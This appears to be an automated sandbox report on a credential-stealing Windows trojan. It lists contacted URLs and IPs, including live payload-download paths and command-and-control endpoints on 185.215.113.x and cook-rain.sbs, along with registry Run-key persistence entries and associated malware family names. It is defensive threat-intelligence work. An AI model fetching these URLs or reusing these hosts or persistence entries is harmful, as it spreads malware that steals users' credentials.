https://duckduckgo.com/chrome_newtab	1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/c	1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php105001	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpKw5	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/ws	36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_476.6.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://curl.se/docs/hsts.html	fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api/?2	1e42688e0b.exe, 00000026.00000002.2627577979.000000000136C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpi=	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.16/off/random.exe7E	skotes.exe, 0000001B.00000002.2626691488.0000000001448000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	file.exe, 00000001.00000003.1662570505.0000000023F85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe?.78-	skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/well/random.exe	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
http://185.215.113.16/well/random.exe(	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	false		high
https://cook-rain.sbs/apiof	1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php%	36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://cook-rain.sbs/	1e42688e0b.exe, 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php)	36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/	36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	e2374fac-a78a-4883-9dd5-5c6b309f5d74.tmp.11.dr	false		high
https://curl.se/docs/alt-svc.html	fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1714173625.0000000000B24000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
https://plus.google.com	chromecache_476.6.dr	false		high
http://185.215.113.16/luma/random.exe#	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/steam/random.exe1395d7f	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
http://crl.micro	1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.0000000001396000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.000000000138A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/fac00b58987e8fcf7b8c730804042ba5ce902415450#	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/random.exeYqKrYrK.(	skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phplm	file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/random.exe4c61395	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://msn.comXIDv10	1e42688e0b.exe, 0000001E.00000003.2575374868.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2573332551.0000000005983000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe	skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
http://185.215.113.16/off/random.exec6ncoded	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/&	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206rontdesk	file.exe, 00000001.00000002.1714173625.0000000000B55000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.16/luma/random.exe(	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/random.exeI	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://clients6.google.com	chromecache_476.6.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe1395d7	skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/3	file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exerlencoded	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpc	file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/F	1e42688e0b.exe, 00000026.00000002.2627577979.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exer	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpe	36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/?	1e42688e0b.exe, 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log.10.dr	false		high
http://185.215.113.16/steam/random.exep	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/mine/random.exeO	file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs/apinDf	1e42688e0b.exe, 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpI	skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2571161065.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2531090592.000000000592A000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2530180529.000000000592C000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000003.2534130308.000000000592A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.7.168	unknown	United States	20940	AKAMAI-ASN1EU	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
23.64.119.163	unknown	United States	3257	GTT-BACKBONEGTTDE	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
4.153.57.10	unknown	United States	3356	LEVEL3US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
216.58.206.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.117.247.48	unknown	United States	16625	AKAMAI-ASUS	false
13.89.178.26	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
3.170.115.57	unknown	United States	16509	AMAZON-02US	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.224.5	unknown	United States	6453	AS6453US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.139	unknown	United States	24835	RAYA-ASEG	false
142.250.185.174	plus.l.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557428
Start date and time:	2024-11-18 08:54:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@86/320@81/30
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.185.78, 74.125.71.84, 34.104.35.123, 142.250.186.99, 216.58.212.170, 142.250.184.202, 142.250.185.106, 216.58.206.42, 142.250.181.234, 142.250.185.202, 142.250.74.202, 142.250.186.74, 142.250.186.170, 172.217.23.106, 142.250.186.42, 142.250.185.170, 216.58.212.138, 172.217.18.106, 142.250.185.138, 142.250.185.234, 199.232.210.172, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 2.16.164.83, 2.16.164.33, 108.141.37.120, 88.221.110.195, 88.221.110.179, 2.23.209.135, 2.23.209.136, 2.23.209.143, 2.23.209.141, 2.23.209.149, 2.23.209.154, 2.23.209.144, 2.23.209.137, 2.23.209.153, 2.23.209.158, 2.23.209.160, 2.23.209.162, 204.79.197.237, 13.107.21.237, 23.38.98.82, 23.38.98.93, 23.38.98.94, 23.38.98.86, 23.38.98.95, 23.38.98.77, 23.38.98.91, 23.38.98.92, 23.38.98.79, 13.74.129.1, 2.23.209.166, 2.23.209.142, 2.23.209.150, 35.80.238.59, 52.12.64.98, 35.164.125.63, 142.250.113.94, 142.251.186.94
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, aus5.mozilla.org, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, location.services.mozilla.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, time.windows.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.del
Execution Graph export aborted for target DocumentsIDGIJEGHDA.exe, PID 8008 because it is empty
Execution Graph export aborted for target file.exe, PID 6396 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8568 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8660 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:26:03	API Interceptor	38x Sleep call for process: file.exe modified
04:27:02	API Interceptor	331x Sleep call for process: skotes.exe modified
04:27:29	API Interceptor	5x Sleep call for process: 1e42688e0b.exe modified
10:26:12	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
10:27:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1e42688e0b.exe C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe
10:27:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 36030a5366.exe C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe
10:27:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1e1f95e037.exe C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe
10:27:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1e42688e0b.exe C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.125.209.212	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
home.fvtejj5vs.top	file.exe	Get hash	malicious	Unknown	Browse	62.76.234.151
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	62.76.234.151
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	62.76.234.151
	file.exe	Get hash	malicious	Unknown	Browse	62.76.234.151
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	62.76.234.151
	file.exe	Get hash	malicious	Cryptbot	Browse	62.76.234.151
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	62.76.234.151
